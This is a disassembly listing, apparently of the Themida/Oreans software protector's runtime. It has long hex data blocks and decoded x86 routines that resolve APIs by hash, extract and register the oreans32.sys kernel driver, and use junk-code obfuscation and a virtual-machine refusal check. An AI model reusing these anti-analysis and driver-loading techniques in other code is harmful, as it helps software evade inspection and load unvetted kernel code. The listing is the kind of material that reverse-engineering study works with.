dd 899D2976h, 8106A815h, 544BF4C0h, 11048955h, 2B219D8Bh
dd 0EA8306A8h, 1CFA8104h, 0FFFFF94h, 0FFFFC185h, 8B6660FFh
dd 9D8960F2h, 6A80525h, 303DB589h, 616106A8h, 99E9h, 75622F00h
dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh
dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh
dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h
dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h
dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h
dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh
dd 73757461h, 0
dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
dd 6AAACFCh, 0A840F00h, 0C7000000h, 0A82DE985h, 106h, 0D585C600h
dd 4706A815h, 0B050B568h, 24348189h, 19DD3C38h, 31F9B5FFh
dd 858D06A8h, 6A83AC3h, 0D0FFD0FFh, 3F80F88Bh, 22850F22h
dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh
dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh
dd 3F800000h, 6850F20h, 47000000h, 6E9h, 0E2E94700h, 80FFFFFFh
dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh
dd 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h, 0AE80000h, 0E9000000h
dd 0FFFFFFCBh, 2B4E9h, 7CB58D00h, 0E806AAACh, 225h, 0AD11BD03h
dd 0BD8306AAh, 6AAAD11h, 0B840F00h, 0C7000000h, 0A81ED985h
dd 106h, 0B58DC300h, 6AAAC87h, 1FCE8h, 11BD0300h, 8306AAADh
dd 0AAAD11BDh, 840F0006h, 0Bh, 2DE985C7h, 106A8h, 8DC30000h
dd 0AAAD00B5h, 1D3E806h, 0BD030000h, 6AAAD11h, 0AD11BD83h
dd 0F0006AAh, 0B84h, 2185C700h, 106A815h, 0C3000000h, 0AC91B58Dh
dd 0AAE806AAh, 3000001h, 0AAAD11BDh, 11BD8306h, 6AAADh
dd 0B840Fh, 85C70000h, 6A82DE9h, 1, 9BB58DC3h, 0E806AAACh
dd 181h, 0AD11BD03h, 0BD8306AAh, 6AAAD11h, 15840F00h, 0C7000000h
dd 0A82DE985h, 106h, 0D985C700h, 106A81Eh, 0C3000000h
dd 0ACA9B58Dh, 4EE806AAh, 3000001h, 0AAAD11BDh, 11BD8306h
dd 6AAADh, 0A840Fh, 85C70000h, 6A81F91h, 1, 0ACB3B58Dh
dd 26E806AAh, 3000001h, 0AAAD11BDh, 11BD8306h, 6AAADh
dd 0A840Fh, 85C70000h, 6A81F91h, 1, 0ACBEB58Dh, 0FEE806AAh
dd 3000000h, 0AAAD11BDh, 11BD8306h, 6AAADh, 0A840Fh, 85C70000h
dd 6A807C5h, 1, 0ACC4B58Dh, 0D6E806AAh, 3000000h, 0AAAD11BDh
dd 11BD8306h, 6AAADh, 0A840Fh, 85C70000h, 6A83105h, 1
dd 0ACCAB58Dh, 0AEE806AAh, 3000000h, 0AAAD11BDh, 11BD8306h
dd 6AAADh, 0A840Fh, 85C70000h, 6A829DDh, 1, 0ACD8B58Dh
dd 86E806AAh, 3000000h, 0AAAD11BDh, 11BD8306h, 6AAADh
dd 0A840Fh, 85C70000h, 6A8170Dh, 1, 0ACE5B58Dh, 5EE806AAh
dd 3000000h, 0AAAD11BDh, 11BD8306h, 6AAADh, 0A840Fh, 85C70000h
dd 6A82C85h, 1, 0ACF0B58Dh, 36E806AAh, 3000000h, 0AAAD11BDh
dd 11BD8306h, 6AAADh, 0A840Fh, 85C70000h, 6A808F9h, 1
dd 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh
dd 1B960C3h, 8B000000h, 1CE9DEh, 3F800000h, 2850F00h, 2B000000h
dd 38178AC9h, 5840F16h, 0B9000000h, 0
dd 3E804746h, 8840F00h, 0B000000h, 0D3850FC9h, 0BFFFFFFh
dd 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h, 0A85h
dd 1B900h, 5E90000h, 0B9000000h, 0
; ---------------------------------------------------------------------------
or ecx, ecx
jz loc_574A89
sub esi, ebx
mov [ebp+6AAAD11h], esi
jmp loc_574A93
; ---------------------------------------------------------------------------
loc_574A89: ; CODE XREF: Themida_:00574A76j
mov dword ptr [ebp+6AAAD11h], 0
loc_574A93: ; CODE XREF: Themida_:00574A84j
popa
retn
; ---------------------------------------------------------------------------
mov eax, 0
or eax, eax
jz loc_574AAC
mov dword ptr [ebp+6A81F91h], 0
loc_574AAC: ; CODE XREF: Themida_:00574A9Cj
mov ecx, eax
jmp loc_574CC1
; ---------------------------------------------------------------------------
a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah
db 0Dh,'Make sure that this file is not being used by another program.',0
dd 67h dup(0)
dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_574CC1: ; CODE XREF: Themida_:00574AAEj
jmp loc_574DB5
; ---------------------------------------------------------------------------
mov byte ptr [ebp+6A815D5h], 47h
push 0E3E45B86h
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
push 104h
lea ebx, [ebp+6A81C35h]
push ebx
call eax
push eax
lea esi, [ebp+6AAB29Eh]
mov edi, esi
xor al, al
loc_574CF9: ; CODE XREF: Themida_:00574CFAj
scasb
jnz loc_574CF9
sub edi, esi
mov ecx, edi
pop eax
mov edi, ebx
add edi, eax
rep movsb
mov byte ptr [ebp+6A815D5h], 43h
push 0BC8E6EFCh
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
lea esi, [ebp+6A81C35h]
push 0
push 80h
push 2
push 0
push 0
push 0C0000000h
push esi
call eax
mov ebx, eax
mov byte ptr [ebp+6A815D5h], 57h
push 0A69BEE56h
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
lea edi, [ebp+6A8099Dh]
lea ecx, [ebp+6AAB3C4h]
push 0
push edi
push 37D0h
push ecx
push ebx
call eax
test eax, eax
jnz loc_574D97
lea esi, [ebp+6AAB0A6h]
lea eax, [ebp+6AA9B7Ch]
call eax
lea ecx, [ebp+6A87120h]
mov eax, 0
jmp ecx
; ---------------------------------------------------------------------------
loc_574D97: ; CODE XREF: Themida_:00574D76j
mov byte ptr [ebp+6A815D5h], 43h
push 0C0764AA7h
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
push ebx
call eax
retn
; ---------------------------------------------------------------------------
loc_574DB5: ; CODE XREF: Themida_:loc_574CC1j
mov ecx, 37D0h
call $+5
pop eax
add eax, 0Eh
mov [eax], ecx
jmp loc_574DCC
; ---------------------------------------------------------------------------
mov eax, ebx
loc_574DCC: ; CODE XREF: Themida_:00574DC5j
jmp loc_5785A1
; ---------------------------------------------------------------------------
db 4Dh, 5Ah, 90h
dd 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
dd offset dword_450050+4BB0h
dd 0
dd 4000200h, 0
dd 3800000h, 1400h, 4 dup(0)
dd 20000h, 1C000h, 9000h, 0
dd 7E00h, 0
dd 0C400h, 100h, 0DC00h, 3 dup(0)
dd 12C00h, 13800h, 2 dup(0)
dd 14200h, 19600h, 1D200h, 0
dd 1D200h, 0
dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
dd 27C004h, 0
dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h
dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
dd 300h, 0
dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
dd 16B0007h, 277101h, 360h dup(0)
dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h
dd 9C3h dup(0)
dd 1BE88300h, 7309F883h, 8524FF07h, 0
; ---------------------------------------------------------------------------
clc
retn
; ---------------------------------------------------------------------------
align 4
dd 8 dup(0)
dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh
dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
dd 50580CC3h, 56544F52h, 445F4458h, 4244h
db 0
; ---------------------------------------------------------------------------
loc_5785A1: ; CODE XREF: Themida_:loc_574DCCj
jmp loc_57965D
; ---------------------------------------------------------------------------
dw 4441h
dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot db 'SYSTEMROOT',0
aSSystem32Drive db '%s\system32\drivers\%s',0
aSSyswow64Drive db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0
align 4
dd 48h dup(0)
dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
dd 72676F72h, 2E6D61h, 59h dup(0)
dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0)
dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0)
dd 10000000h, 0
dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
dd 21h dup(0)
dd 53000000h, 7774666Fh, 5C657261h, 656E6957h
db 0
; ---------------------------------------------------------------------------
loc_57965D: ; CODE XREF: Themida_:loc_5785A1j
mov eax, esp
cmc
mov [ebp+6A82589h], eax
push 0
push ecx
call sub_579671
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_579671 proc near ; CODE XREF: Themida_:00579669p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_579671 endp
; ---------------------------------------------------------------------------
db 4Fh, 34h, 0E7h
dd 8A0FC54Fh, 6, 1741B589h, 0C08B06A8h, 0BD896060h, 6A8066Dh
dd 0D3D9589h, 606106A8h, 1C098D89h, 8B6606A8h, 666161D1h
dd 0BD83CB8Bh, 6A81ED9h, 83097500h, 0A82DE9BDh, 19740006h
dd 0C08B5350h, 43DB8h, 0B5858900h, 8D06A807h, 0AAA1AC9Dh
dd 5BD3FF06h, 0E9BD8358h, 6A82Dh, 53501774h, 43DB8h, 0B5858900h
dd 8D06A807h, 0AA9E9B9Dh, 5BD3FF06h, 49958958h, 8B06A80Fh
dd 0A82E2D95h, 0E8C08B06h, 5, 0D21441EBh, 81BD8BFDh, 5A06A831h
dd 10E9C08Bh, 0D8000000h, 93FC2648h, 0BB9D773Fh, 0EC5763F9h
dd 8343DDB4h, 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h
dd 8B535013h, 0B8C0h, 9D8D0000h, 6AAA04Eh, 585BD3FFh, 2DE9BD83h
dd 740006A8h, 0B8535011h, 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+6AA9EFFh]
call ebx
pop ebx
pop eax
push 0
push ebp
call sub_57977D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57977D proc near ; CODE XREF: Themida_:00579775p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_57977D endp
; ---------------------------------------------------------------------------
db 5Eh, 23h, 35h
; ---------------------------------------------------------------------------
push edi
jz loc_57979D
xor [ebp+6A81D45h], esi
loc_57979D: ; CODE XREF: Themida_:00579791j
jo loc_5797A9
adc ecx, 0C41EAE6h
loc_5797A9: ; CODE XREF: Themida_:loc_57979Dj
mov eax, eax
and di, 695Fh
mov eax, eax
jmp loc_5797BD
; ---------------------------------------------------------------------------
mov ebx, 3C8876EDh
pop ebx
loc_5797BD: ; CODE XREF: Themida_:005797B2j
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_5797CF
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_5797E2
loc_5797CF: ; CODE XREF: Themida_:005797C4j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+6AA9F80h]
call ebx
pop ebx
pop eax
loc_5797E2: ; CODE XREF: Themida_:005797CDj
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_5797FC
push eax
push ebx
mov eax, 0
lea ebx, [ebp+6AA9ECDh]
call ebx
pop ebx
pop eax
loc_5797FC: ; CODE XREF: Themida_:005797E9j
js loc_579816
jmp loc_579816
; ---------------------------------------------------------------------------
db 0DEh
dd 0F61F6016h, 51F82598h, 774AD3C1h
db 0BEh, 6Eh
; ---------------------------------------------------------------------------
loc_579816: ; CODE XREF: Themida_:loc_5797FCj
; Themida_:00579802j
mov edi, edx
mov eax, eax
mov edx, [ebp+6A80565h]
mov eax, eax
mov di, dx
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_579837
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57984A
loc_579837: ; CODE XREF: Themida_:0057982Cj
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+6AA9FE7h]
call ebx
pop ebx
pop eax
loc_57984A: ; CODE XREF: Themida_:00579835j
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_579864
push eax
push ebx
mov eax, 0
lea ebx, [ebp+6AA9EE6h]
call ebx
pop ebx
pop eax
loc_579864: ; CODE XREF: Themida_:00579851j
clc
add edx, [ebp+6A800E1h]
mov eax, eax
cmc
mov [ebp+6A80C39h], ecx
mov eax, eax
push 0
push ecx
call sub_579881
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_579881 proc near ; CODE XREF: Themida_:00579879p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_579881 endp
; ---------------------------------------------------------------------------
db 33h, 0CAh, 0E5h
dd 870922ECh, 8E951h, 60C70000h, 3DA751E6h, 83FC4306h
dd 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h, 8B535013h
dd 0B8C0h, 9D8D0000h, 6AA9F19h, 585BD3FFh, 0D35860BAh
dd 2BC08B6Dh, 0A8210995h, 0E8C08B06h, 11h, 0E7A7ABDDh
dd 0BB54DF48h, 8211E256h, 42089557h, 95895601h, 6A80955h
dd 0BD835F59h, 6A81ED9h, 83097500h, 0A82DE9BDh, 19740006h
dd 0C08B5350h, 7D0B8h, 0B5858900h, 8D06A807h, 0AAA1AC9Dh
dd 5BD3FF06h, 0E9BD8358h, 6A82Dh, 53501774h, 7D0B8h, 0B5858900h
dd 8D06A807h, 0AA9E9B9Dh, 5BD3FF06h, 10E858h, 323D0000h
dd 6455036Ah, 1BBF6927h, 0F6FACCD1h, 9D89464Dh, 6A80D51h
dd 0D78B6659h, 0BD8BC08Bh, 6A80CF1h, 15D585C6h, 0F5306A8h
dd 9068D1B7h, 6A99395Fh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 0B4ACC355h, 0F96191Dh
dd 660A10E2h, 0FFB04BB9h, 0A831F9B5h, 0CA816606h, 858D1992h
dd 6A83AC3h, 31918D8Bh, 0D0FF06A8h, 7840Fh, 66600000h
dd 1A29C281h, 0DD858961h, 8006A820h, 85C666F6h, 6A815D5h
dd 9830F57h, 0F000000h, 38Fh, 0D3BF0F00h, 4520668h, 44BA6690h
dd 0F9B5FF3Ah, 8906A831h, 0A81A31BDh, 0C3858D06h, 6006A83Ah
dd 0DFE88166h, 699D8BEEh, 6106A809h, 6AD0FFh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0AF6654C3h
dd 718D0160h, 8B06A80Fh, 0A80D45B5h, 85896106h, 6A82A7Dh
dd 6840Fh, 9D290000h, 6A80E8Dh, 1C31BD8Bh, 85C606A8h, 6A815D5h
dd 52006A43h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 4527D09Bh, 786D5479h, 1D8D8B97h, 6806A814h
dd 0BC907028h, 1D459589h, 0B5FF06A8h, 6A831F9h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7C35242h, 5EF98C37h
dd 290EE2D5h, 0A806618Dh, 0C3858D06h, 0FF06A83Ah, 899D89D0h
dd 8906A802h, 0A8028185h, 0D585C606h, 4C06A815h, 0DA1CE968h
dd 0F9B5FFD9h, 6A06A831h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0EC9FC353h, 9E38DF3Ch
dd 32098D8Bh, 858D06A8h, 6A83AC3h, 0FFC88B66h, 68D0FD0h
dd 8B000000h, 0A831498Dh, 0ED858906h, 0B206A81Eh, 0D585C648h
dd 4606A815h, 615BD29h, 146806A8h, 0E9BADE06h, 7, 0F734DFE8h
dd 0FF0934C9h, 0A831F9B5h, 96BF6606h, 0C3858DDAh, 8B06A83Ah
dd 0A82245BDh, 0BAD0FF06h, 7AE317E5h, 2FA98589h, 850906A8h
dd 6A80AFDh, 3001B529h, 85C606A8h, 6A815D5h, 0B5E26847h
dd 8B608A0Fh, 0A801AD9Dh, 9C2BE06h, 0FF613DBFh, 0A831F9B5h
dd 0FE806h, 0E9370000h, 0F01AB8B9h, 7479257Bh, 5CD6C10h
dd 0DDB5290Fh, 5A06A821h, 0B5958957h, 5F06A80Fh, 3AC3858Dh
dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 0B02FC0C3h, 1660179Fh, 8BA05DC2h, 59D29CBh
dd 0FF06A81Fh, 1B3FBAD0h, 85896B56h, 6A80909h, 68D0Fh
dd 0D1810000h, 4C3E3F5Fh, 15D585C6h, 804706A8h, 0F368B6C2h
dd 983D0B5h, 0A8266D95h, 119D0906h, 0FF06A810h, 0A831F9B5h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 36679CE7h, 7A14697Ah, 0C18022BFh, 0C3858DB1h
dd 8906A83Ah, 0A80F299Dh, 66D0FF06h, 89E294BFh, 0A81AC985h
dd 5F28106h, 0C67C9FE8h, 0A815D585h, 6A7706h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 356D2BC3h
dd 8B6652F1h, 0A3685FCEh, 66F397A8h, 0B5FFD08Bh, 6A80D2Dh
dd 0DE9h, 0C1E44500h, 0EC4CD568h, 3ADDD55Bh, 858D7FF7h
dd 6A83AC3h, 34298589h, 0D0FF06A8h, 263D8589h, 858906A8h
dd 6A82235h, 25298D8Bh, 85C606A8h, 6A815D5h, 48B0F47h
dd 66000000h, 68EBA7BFh, 8728FAF6h, 2123BF66h, 31F9B5FFh
dd 0D08B06A8h, 3AC3858Dh, 0D0FF06A8h, 8589CF8Bh, 6A832D1h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 37C35545h
dd 0B70FF3A7h, 19BD8BCBh, 8106A815h, 0E93C5FEAh, 0D585C662h
dd 4306A815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 34C35545h, 0F69095AFh, 0F59D89DBh, 6806A801h, 0BC8E6EFCh
dd 575B76B9h, 0F9B5FF7Ah, 6A06A831h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 99EBC353h
dd 0E78166D6h, 858D0E73h, 6A83AC3h, 0CE957h, 59620000h
dd 72D2F326h, 19F78400h, 0FF5F4988h, 599531D0h, 8906A809h
dd 0A81AC185h, 6E806h, 6F630000h, 66B78AF2h, 0EA38BA66h
dd 28E0F5Ah, 8B000000h, 0D585C6D0h, 4506A815h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 2BC35747h, 294DA721h
dd 0A821158Dh, 69696806h, 85898E72h, 6A80579h, 31F9B5FFh
dd 12E906A8h, 0D000000h, 3974D0F2h, 11F616ECh, 0DBE6EACEh
dd 0F5C00FE4h, 49958BA0h, 8D06A826h, 0A83AC385h, 6870F06h
dd 0B000000h, 0A80D45BDh, 8BD0FF06h, 818589CFh, 0C606A800h
dd 0A815D585h, 9D294406h, 6A80099h, 0F2EC6468h, 0FFD38BB8h
dd 0A831F9B5h, 0C3858D06h, 3106A83Ah, 0A82E4595h, 8BD0FF06h
dd 0D58589CEh, 6606A829h, 0C63D84B9h, 0A815D585h, 6A4306h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 218799C3h, 3DDBA52Bh, 57C28166h, 4AA76830h, 3B9C076h
dd 0FF616898h, 0A831F9B5h, 0FFB70F06h, 3AC3858Dh, 896006A8h
dd 0A80F8D85h, 0D6816606h, 0B96151B6h, 70B41DA8h, 0DE9D0FFh
dd 0A5000000h, 0DB39DDBAh, 0EAFEC251h, 8486D6B6h, 0F558589h
dd 0BD2306A8h, 6A80F7Dh, 0F787BD80h, 0F0006AAh, 7284h
dd 0CDBD0100h, 8D06A819h, 0AAF76985h, 6E806h, 0B53F0000h
dd 0DE5F101Dh, 17D9D89h, 505906A8h, 7D850960h, 2906A822h
dd 0A807E1BDh, 16A6106h, 0B297B966h, 8D8B006Ah, 6A82801h
dd 0BD8B006Ah, 6A826ADh, 28195FFh, 95B106A8h, 0D6D8589h
dd 958B06A8h, 6A81AADh, 0E981FF6Ah, 0EA6409Eh, 0D6DB5FFh
dd 665306A8h, 6E8AE281h, 7D95FF5Ah, 8B06A82Ah, 50006AC0h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0A50460F5h, 605EFFDEh, 8D1958Bh, 858B06A8h, 6A8257Dh
dd 12E861h, 0C55F0000h, 5A413953h, 8E54C416h, 9308CC5Fh
dd 5AADBF2Bh, 19ED958Bh, 835F06A8h, 0A81ED9BDh, 9750006h
dd 2DE9BD83h, 740006A8h, 8B535019h, 7D1B8C0h, 85890000h
dd 6A807B5h, 0A1AC9D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h
dd 50177400h, 7D1B853h, 85890000h, 6A807B5h, 9E9B9D8Dh
dd 0D3FF06AAh, 0EF8A585Bh, 0FE9h, 23921B00h, 0CF4608C9h
dd 0CEBCACD8h, 0B1141E2Fh, 0EC8AC08Bh, 15D585C6h, 894706A8h
dd 0A80D31BDh, 0F7C16806h, 6A93C8h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 11E883C3h
dd 25000000h, 0EA7B9F24h, 70028E81h, 3B483341h, 89C35875h
dd 59FEBF0Fh, 31F9B5FFh, 0BD8906A8h, 6A80DE5h, 3AC3858Dh
dd 0EE8006A8h, 6AD0FFE2h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 0A807C353h, 9E982h, 83890000h, 0D19C19F3h, 5070BDCFh
dd 140D9D89h, 858D06A8h, 6AAFBAAh, 0CB18D8Bh, 0C706A8h
dd 94h, 0ABA4B966h, 58F8BF0Fh, 0FBAAB58Dh, 0E58006AAh
dd 8B505605h, 0A80CF995h, 0D0FF5F06h, 0E9CCB760h, 0Fh
dd 6C5A7736h, 552D1A5Fh, 0A7F371EEh, 61223B3Fh, 0FBAA858Dh
dd 8D8906AAh, 6A82DE5h, 6047883h, 29850Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 76FEB6C3h, 3E85C7F9h, 106AAFCh, 83000000h, 0A806D9BDh
dd 850F0006h, 9Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 0B8C35747h, 971D92E5h, 33501F5Fh, 0A8265DBDh
dd 0BD835906h, 6AAFC3Eh, 66850F00h, 89000000h, 0A81DC995h
dd 0BE906h, 9E6E0000h, 8F3C3CDBh, 905C7BD9h, 6DBD83D7h
dd 6A827h, 43840Fh, 85C70000h, 6A81BFDh, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_57A1C3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A1C3 proc near ; CODE XREF: Themida_:0057A1BBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_57A1C3 endp
; ---------------------------------------------------------------------------
db 6Ch
; ---------------------------------------------------------------------------
mov word ptr [edx+ebx-58BC8A34h], ds
